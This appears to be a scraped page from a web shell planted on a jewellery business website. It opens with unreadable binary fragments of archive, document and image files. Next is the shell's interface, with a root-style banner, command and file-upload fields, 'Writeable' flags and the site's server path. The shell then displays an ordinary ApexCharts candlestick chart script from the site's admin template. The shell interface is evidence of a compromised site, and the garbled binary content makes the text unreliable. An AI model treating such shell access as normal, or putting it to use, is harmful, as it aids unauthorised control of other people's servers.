œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzÂœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇVßƹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :
ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/assets/js/components/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/assets/js/components/apexchart-candlestick.js
/**
 * Theme: Larkon - Responsive Bootstrap 5 Admin Dashboard
 * Author: Techzaa
 * Module/App: Apex Candlestick Charts
 */

//
// Simple Candlestick chart
//
var colors = ["#ef5f5f", "#22c55e"];
// var dataColors = $("#simple-candlestick").data('colors');

var options = {
  chart: {
    height: 400,
    type: "candlestick",
    toolbar: {
      show: false,
    },
  },
  plotOptions: {
    candlestick: {
      colors: {
        upward: colors[0],
        downward: colors[1],
      },
    },
  },
  series: [
    {
      data: seriesData,
    },
  ],

  stroke: {
    show: true,
    colors: "#f1f3fa",
    width: 1,
  },
  xaxis: {
    type: "datetime",
  },
  grid: {
    borderColor: "#f1f3fa",
  },
};

var chart = new ApexCharts(
  document.querySelector("#simple-candlestick"),
  options
);

chart.render();

//
// Combo Candlestick
//
var colors = ["#ef5f5f", "#22c55e"];
// var dataColors = $("#combo-candlestick").data('colors');

var optionsCandlestick = {
  chart: {
    height: 240,
    type: "candlestick",
    toolbar: {
      show: false,
    },
    zoom: {
      enabled: false,
    },
  },
  series: [
    {
      data: seriesData,
    },
  ],
  plotOptions: {
    candlestick: {
      colors: {
        upward: colors[0],
        downward: colors[1],
      },
    },
  },
  xaxis: {
    type: "datetime",
  },
  grid: {
    borderColor: "#f1f3fa",
  },
};

var chartCandlestick = new ApexCharts(
  document.querySelector("#combo-candlestick"),
  optionsCandlestick
);

chartCandlestick.render();

var colors = ["#1c84ee", "#4ecac2"];
// var dataColors = $("#combo-bar-candlestick").data('colors');

var options = {
  chart: {
    height: 160,
    type: "bar",
    toolbar: {
      show: false,
      autoSelected: "selection",
    },
    selection: {
      xaxis: {
        min: new Date("20 Jan 2017").getTime(),
        max: new Date("10 Dec 2017").getTime(),
      },
      fill: {
        color: "#6c757d",
        opacity: 0.4,
      },
      stroke: {
        color: "#6c757d",
      },
    },
    events: {
      selection: function (chart, e) {
        chartCandlestick.updateOptions(
          {
            xaxis: {
              min: e.xaxis.min,
              max: e.xaxis.max,
            },
          },
          false,
          false
        );
      },
    },
  },
  dataLabels: {
    enabled: false,
  },
  plotOptions: {
    bar: {
      columnWidth: "80%",
      colors: {
        ranges: [
          {
            from: -1000,
            to: 0,
            color: colors[0],
          },
          {
            from: 1,
            to: 10000,
            color: colors[1],
          },
        ],
      },
    },
  },
  series: [
    {
      name: "volume",
      data: seriesDataLinear,
    },
  ],
  xaxis: {
    type: "datetime",
    axisBorder: {
      offsetX: 13,
    },
  },
  yaxis: {
    labels: {
      show: false,
    },
  },
  grid: {
    borderColor: "#f1f3fa",
  },
};

var chart = new ApexCharts(
  document.querySelector("#combo-bar-candlestick"),
  options
);

chart.render();

//
// CATEGORY X-AXIS
//

var colors = ["#ef5f5f", "#22c55e"];
// var dataColors = $("#x-axis-candlestick").data('colors');

var options = {
  series: [
    {
      name: "candle",
      data: [
        {
          x: new Date(1538778600000),
          y: [6629.81, 6650.5, 6623.04, 6633.33],
        },
        {
          x: new Date(1538780400000),
          y: [6632.01, 6643.59, 6620, 6630.11],
        },
        {
          x: new Date(1538782200000),
          y: [6630.71, 6648.95, 6623.34, 6635.65],
        },
        {
          x: new Date(1538784000000),
          y: [6635.65, 6651, 6629.67, 6638.24],
        },
        {
          x: new Date(1538785800000),
          y: [6638.24, 6640, 6620, 6624.47],
        },
        {
          x: new Date(1538787600000),
          y: [6624.53, 6636.03, 6621.68, 6624.31],
        },
        {
          x: new Date(1538789400000),
          y: [6624.61, 6632.2, 6617, 6626.02],
        },
        {
          x: new Date(1538791200000),
          y: [6627, 6627.62, 6584.22, 6603.02],
        },
        {
          x: new Date(1538793000000),
          y: [6605, 6608.03, 6598.95, 6604.01],
        },
        {
          x: new Date(1538794800000),
          y: [6604.5, 6614.4, 6602.26, 6608.02],
        },
        {
          x: new Date(1538796600000),
          y: [6608.02, 6610.68, 6601.99, 6608.91],
        },
        {
          x: new Date(1538798400000),
          y: [6608.91, 6618.99, 6608.01, 6612],
        },
        {
          x: new Date(1538800200000),
          y: [6612, 6615.13, 6605.09, 6612],
        },
        {
          x: new Date(1538802000000),
          y: [6612, 6624.12, 6608.43, 6622.95],
        },
        {
          x: new Date(1538803800000),
          y: [6623.91, 6623.91, 6615, 6615.67],
        },
        {
          x: new Date(1538805600000),
          y: [6618.69, 6618.74, 6610, 6610.4],
        },
        {
          x: new Date(1538807400000),
          y: [6611, 6622.78, 6610.4, 6614.9],
        },
        {
          x: new Date(1538809200000),
          y: [6614.9, 6626.2, 6613.33, 6623.45],
        },
        {
          x: new Date(1538811000000),
          y: [6623.48, 6627, 6618.38, 6620.35],
        },
        {
          x: new Date(1538812800000),
          y: [6619.43, 6620.35, 6610.05, 6615.53],
        },
        {
          x: new Date(1538814600000),
          y: [6615.53, 6617.93, 6610, 6615.19],
        },
        {
          x: new Date(1538816400000),
          y: [6615.19, 6621.6, 6608.2, 6620],
        },
        {
          x: new Date(1538818200000),
          y: [6619.54, 6625.17, 6614.15, 6620],
        },
        {
          x: new Date(1538820000000),
          y: [6620.33, 6634.15, 6617.24, 6624.61],
        },
        {
          x: new Date(1538821800000),
          y: [6625.95, 6626, 6611.66, 6617.58],
        },
        {
          x: new Date(1538823600000),
          y: [6619, 6625.97, 6595.27, 6598.86],
        },
        {
          x: new Date(1538825400000),
          y: [6598.86, 6598.88, 6570, 6587.16],
        },
        {
          x: new Date(1538827200000),
          y: [6588.86, 6600, 6580, 6593.4],
        },
        {
          x: new Date(1538829000000),
          y: [6593.99, 6598.89, 6585, 6587.81],
        },
        {
          x: new Date(1538830800000),
          y: [6587.81, 6592.73, 6567.14, 6578],
        },
        {
          x: new Date(1538832600000),
          y: [6578.35, 6581.72, 6567.39, 6579],
        },
        {
          x: new Date(1538834400000),
          y: [6579.38, 6580.92, 6566.77, 6575.96],
        },
        {
          x: new Date(1538836200000),
          y: [6575.96, 6589, 6571.77, 6588.92],
        },
        {
          x: new Date(1538838000000),
          y: [6588.92, 6594, 6577.55, 6589.22],
        },
        {
          x: new Date(1538839800000),
          y: [6589.3, 6598.89, 6589.1, 6596.08],
        },
        {
          x: new Date(1538841600000),
          y: [6597.5, 6600, 6588.39, 6596.25],
        },
        {
          x: new Date(1538843400000),
          y: [6598.03, 6600, 6588.73, 6595.97],
        },
        {
          x: new Date(1538845200000),
          y: [6595.97, 6602.01, 6588.17, 6602],
        },
        {
          x: new Date(1538847000000),
          y: [
            6602, 6607, 6596.51,

            6599.95,
          ],
        },
        {
          x: new Date(1538848800000),
          y: [6600.63, 6601.21, 6590.39, 6591.02],
        },
        {
          x: new Date(1538850600000),
          y: [6591.02, 6603.08, 6591, 6591],
        },
        {
          x: new Date(1538852400000),
          y: [6591, 6601.32, 6585, 6592],
        },
        {
          x: new Date(1538854200000),
          y: [6593.13, 6596.01, 6590, 6593.34],
        },
        {
          x: new Date(1538856000000),
          y: [6593.34, 6604.76, 6582.63, 6593.86],
        },
        {
          x: new Date(1538857800000),
          y: [6593.86, 6604.28, 6586.57, 6600.01],
        },
        {
          x: new Date(1538859600000),
          y: [6601.81, 6603.21, 6592.78, 6596.25],
        },
        {
          x: new Date(1538861400000),
          y: [6596.25, 6604.2, 6590, 6602.99],
        },
        {
          x: new Date(1538863200000),
          y: [6602.99, 6606, 6584.99, 6587.81],
        },
        {
          x: new Date(1538865000000),
          y: [6587.81, 6595, 6583.27, 6591.96],
        },
        {
          x: new Date(1538866800000),
          y: [6591.97, 6596.07, 6585, 6588.39],
        },
        {
          x: new Date(1538868600000),
          y: [6587.6, 6598.21, 6587.6, 6594.27],
        },
        {
          x: new Date(1538870400000),
          y: [6596.44, 6601, 6590, 6596.55],
        },
        {
          x: new Date(1538872200000),
          y: [6598.91, 6605, 6596.61, 6600.02],
        },
        {
          x: new Date(1538874000000),
          y: [6600.55, 6605, 6589.14, 6593.01],
        },
        {
          x: new Date(1538875800000),
          y: [6593.15, 6605, 6592, 6603.06],
        },
        {
          x: new Date(1538877600000),
          y: [6603.07, 6604.5, 6599.09, 6603.89],
        },
        {
          x: new Date(1538879400000),
          y: [6604.44, 6604.44, 6600, 6603.5],
        },
        {
          x: new Date(1538881200000),
          y: [6603.5, 6603.99, 6597.5, 6603.86],
        },
        {
          x: new Date(1538883000000),
          y: [6603.85, 6605, 6600, 6604.07],
        },
        {
          x: new Date(1538884800000),
          y: [6604.98, 6606, 6604.07, 6606],
        },
      ],
    },
  ],
  chart: {
    height: 380,
    type: "candlestick",
    toolbar: {
      show: false,
    },
  },
  title: {
    text: "CandleStick Chart - Category X-axis",
    align: "left",
  },
  grid: {
    padding: {
      top: 0,
      right: -2,
      bottom: -25,
      left: 0,
    },
  },
  annotations: {
    xaxis: [
      {
        x: "Oct 06 14:00",
        borderColor: colors[2],
        label: {
          borderColor: colors[2],
          style: {
            fontSize: "12px",
            color: "#fff",
            background: colors[2],
          },
          orientation: "horizontal",
          offsetY: 7,
          text: "Annotation Test",
        },
      },
    ],
  },
  plotOptions: {
    candlestick: {
      colors: {
        upward: colors[0],
        downward: colors[1],
      },
    },
  },
  tooltip: {
    enabled: true,
  },
  colors: colors,
  xaxis: {
    type: "category",
    labels: {
      formatter: function (val) {
        return dayjs(val).format("MMM DD HH:mm");
      },
    },
  },
  yaxis: {
    tooltip: {
      enabled: true,
    },
  },
};

var chart = new ApexCharts(
  document.querySelector("#x-axis-candlestick"),
  options
);
chart.render();

//
// CANDLESTICK WITH LINE
//

var colors = ["#22c55e", "#ef5f5f"];
var options = {
  series: [
    {
      name: "Line",
      type: "line",
      data: [
        {
          x: new Date(1538778600000),
          y: 6604,
        },
        {
          x: new Date(1538782200000),
          y: 6602,
        },
        {
          x: new Date(1538814600000),
          y: 6607,
        },
        {
          x: new Date(1538884800000),
          y: 6620,
        },
      ],
    },
    {
      name: "Candle",
      type: "candlestick",
      data: [
        {
            x: new Date(1538778600000),
            y: [6629.81, 6650.5, 6623.04, 6633.33],
          },
          {
            x: new Date(1538780400000),
            y: [6632.01, 6643.59, 6620, 6630.11],
          },
          {
            x: new Date(1538782200000),
            y: [6630.71, 6648.95, 6623.34, 6635.65],
          },
          {
            x: new Date(1538784000000),
            y: [6635.65, 6651, 6629.67, 6638.24],
          },
          {
            x: new Date(1538785800000),
            y: [6638.24, 6640, 6620, 6624.47],
          },
          {
            x: new Date(1538787600000),
            y: [6624.53, 6636.03, 6621.68, 6624.31],
          },
          {
            x: new Date(1538789400000),
            y: [6624.61, 6632.2, 6617, 6626.02],
          },
          {
            x: new Date(1538791200000),
            y: [6627, 6627.62, 6584.22, 6603.02],
          },
          {
            x: new Date(1538793000000),
            y: [6605, 6608.03, 6598.95, 6604.01],
          },
          {
            x: new Date(1538794800000),
            y: [6604.5, 6614.4, 6602.26, 6608.02],
          },
          {
            x: new Date(1538796600000),
            y: [6608.02, 6610.68, 6601.99, 6608.91],
          },
          {
            x: new Date(1538798400000),
            y: [6608.91, 6618.99, 6608.01, 6612],
          },
          {
            x: new Date(1538800200000),
            y: [6612, 6615.13, 6605.09, 6612],
          },
          {
            x: new Date(1538802000000),
            y: [6612, 6624.12, 6608.43, 6622.95],
          },
          {
            x: new Date(1538803800000),
            y: [6623.91, 6623.91, 6615, 6615.67],
          },
          {
            x: new Date(1538805600000),
            y: [6618.69, 6618.74, 6610, 6610.4],
          },
          {
            x: new Date(1538807400000),
            y: [6611, 6622.78, 6610.4, 6614.9],
          },
          {
            x: new Date(1538809200000),
            y: [6614.9, 6626.2, 6613.33, 6623.45],
          },
          {
            x: new Date(1538811000000),
            y: [6623.48, 6627, 6618.38, 6620.35],
          },
          {
            x: new Date(1538812800000),
            y: [6619.43, 6620.35, 6610.05, 6615.53],
          },
          {
            x: new Date(1538814600000),
            y: [6615.53, 6617.93, 6610, 6615.19],
          },
          {
            x: new Date(1538816400000),
            y: [6615.19, 6621.6, 6608.2, 6620],
          },
          {
            x: new Date(1538818200000),
            y: [6619.54, 6625.17, 6614.15, 6620],
          },
          {
            x: new Date(1538820000000),
            y: [6620.33, 6634.15, 6617.24, 6624.61],
          },
          {
            x: new Date(1538821800000),
            y: [6625.95, 6626, 6611.66, 6617.58],
          },
          {
            x: new Date(1538823600000),
            y: [6619, 6625.97, 6595.27, 6598.86],
          },
          {
            x: new Date(1538825400000),
            y: [6598.86, 6598.88, 6570, 6587.16],
          },
          {
            x: new Date(1538827200000),
            y: [6588.86, 6600, 6580, 6593.4],
          },
          {
            x: new Date(1538829000000),
            y: [6593.99, 6598.89, 6585, 6587.81],
          },
          {
            x: new Date(1538830800000),
            y: [6587.81, 6592.73, 6567.14, 6578],
          },
          {
            x: new Date(1538832600000),
            y: [6578.35, 6581.72, 6567.39, 6579],
          },
          {
            x: new Date(1538834400000),
            y: [6579.38, 6580.92, 6566.77, 6575.96],
          },
          {
            x: new Date(1538836200000),
            y: [6575.96, 6589, 6571.77, 6588.92],
          },
          {
            x: new Date(1538838000000),
            y: [6588.92, 6594, 6577.55, 6589.22],
          },
          {
            x: new Date(1538839800000),
            y: [6589.3, 6598.89, 6589.1, 6596.08],
          },
          {
            x: new Date(1538841600000),
            y: [6597.5, 6600, 6588.39, 6596.25],
          },
          {
            x: new Date(1538843400000),
            y: [6598.03, 6600, 6588.73, 6595.97],
          },
          {
            x: new Date(1538845200000),
            y: [6595.97, 6602.01, 6588.17, 6602],
          },
          {
            x: new Date(1538847000000),
            y: [6602, 6607, 6596.51, 6599.95],
          },
          {
            x: new Date(1538848800000),
            y: [6600.63, 6601.21, 6590.39, 6591.02],
          },
          {
            x: new Date(1538850600000),
            y: [6591.02, 6603.08, 6591, 6591],
          },
          {
            x: new Date(1538852400000),
            y: [6591, 6601.32, 6585, 6592],
          },
          {
            x: new Date(1538854200000),
            y: [6593.13, 6596.01, 6590, 6593.34],
          },
          {
            x: new Date(1538856000000),
            y: [6593.34, 6604.76, 6582.63, 6593.86],
          },
          {
            x: new Date(1538857800000),
            y: [6593.86, 6604.28, 6586.57, 6600.01],
          },
          {
            x: new Date(1538859600000),
            y: [6601.81, 6603.21, 6592.78, 6596.25],
          },
          {
            x: new Date(1538861400000),
            y: [6596.25, 6604.2, 6590, 6602.99],
          },
          {
            x: new Date(1538863200000),
            y: [6602.99, 6606, 6584.99, 6587.81],
          },
          {
            x: new Date(1538865000000),
            y: [6587.81, 6595, 6583.27, 6591.96],
          },
          {
            x: new Date(1538866800000),
            y: [6591.97, 6596.07, 6585, 6588.39],
          },
          {
            x: new Date(1538868600000),
            y: [6587.6, 6598.21, 6587.6, 6594.27],
          },
          {
            x: new Date(1538870400000),
            y: [6596.44, 6601, 6590, 6596.55],
          },
          {
            x: new Date(1538872200000),
            y: [6598.91, 6605, 6596.61, 6600.02],
          },
          {
            x: new Date(1538874000000),
            y: [6600.55, 6605, 6589.14, 6593.01],
          },
          {
            x: new Date(1538875800000),
            y: [6593.15, 6605, 6592, 6603.06],
          },
          {
            x: new Date(1538877600000),
            y: [6603.07, 6604.5, 6599.09, 6603.89],
          },
          {
            x: new Date(1538879400000),
            y: [6604.44, 6604.44, 6600, 6603.5],
          },
          {
            x: new Date(1538881200000),
            y: [6603.5, 6603.99, 6597.5, 6603.86],
          },
          {
            x: new Date(1538883000000),
            y: [6603.85, 6605, 6600, 6604.07],
          },
          {
            x: new Date(1538884800000),
            y: [6604.98, 6606, 6604.07, 6606],
          }          
      ],
    },
  ],
  chart: {
    height: 380,
    type: "line",
    toolbar: {
        show: false,
      },
  },
  title: {
    text: "CandleStick Chart",
    align: "left",
  },
  stroke: {
    width: [3, 1],
  },
  legend: {
    show: true,
    horizontalAlign: "center",
    offsetX: 0,
    offsetY: 5,
  },
  grid: {
    padding: {
      top: 0,
      right: -2,
      bottom: 15,
      left: 10,
    },
  },
  colors: colors,
  plotOptions: {
    candlestick: {
      colors: {
        upward: colors[1],
        downward: colors[2],
      },
    },
  },
  tooltip: {
    shared: true,
    custom: [
      function (_ref) {
        var seriesIndex = _ref.seriesIndex;
        var dataPointIndex = _ref.dataPointIndex;
        var w = _ref.w;

        return w.globals.series[seriesIndex][dataPointIndex];
      },
      function (_ref2) {
        var seriesIndex = _ref2.seriesIndex;
        var dataPointIndex = _ref2.dataPointIndex;
        var w = _ref2.w;

        var o = w.globals.seriesCandleO[seriesIndex][dataPointIndex];
        var h = w.globals.seriesCandleH[seriesIndex][dataPointIndex];
        var l = w.globals.seriesCandleL[seriesIndex][dataPointIndex];
        var c = w.globals.seriesCandleC[seriesIndex][dataPointIndex];
        return (
          '<div class="apexcharts-tooltip-candlestick">' +
          '<div>Open: <span class="value">' +
          o +
          "</span></div>" +
          '<div>High: <span class="value">' +
          h +
          "</span></div>" +
          '<div>Low: <span class="value">' +
          l +
          "</span></div>" +
          '<div>Close: <span class="value">' +
          c +
          "</span></div>" +
          "</div>"
        );
      },
    ],
  },
  xaxis: {
    type: "datetime",
  },
};

var chart = new ApexCharts(
  document.querySelector("#candlestick-with-line"),
  options
);
chart.render();

........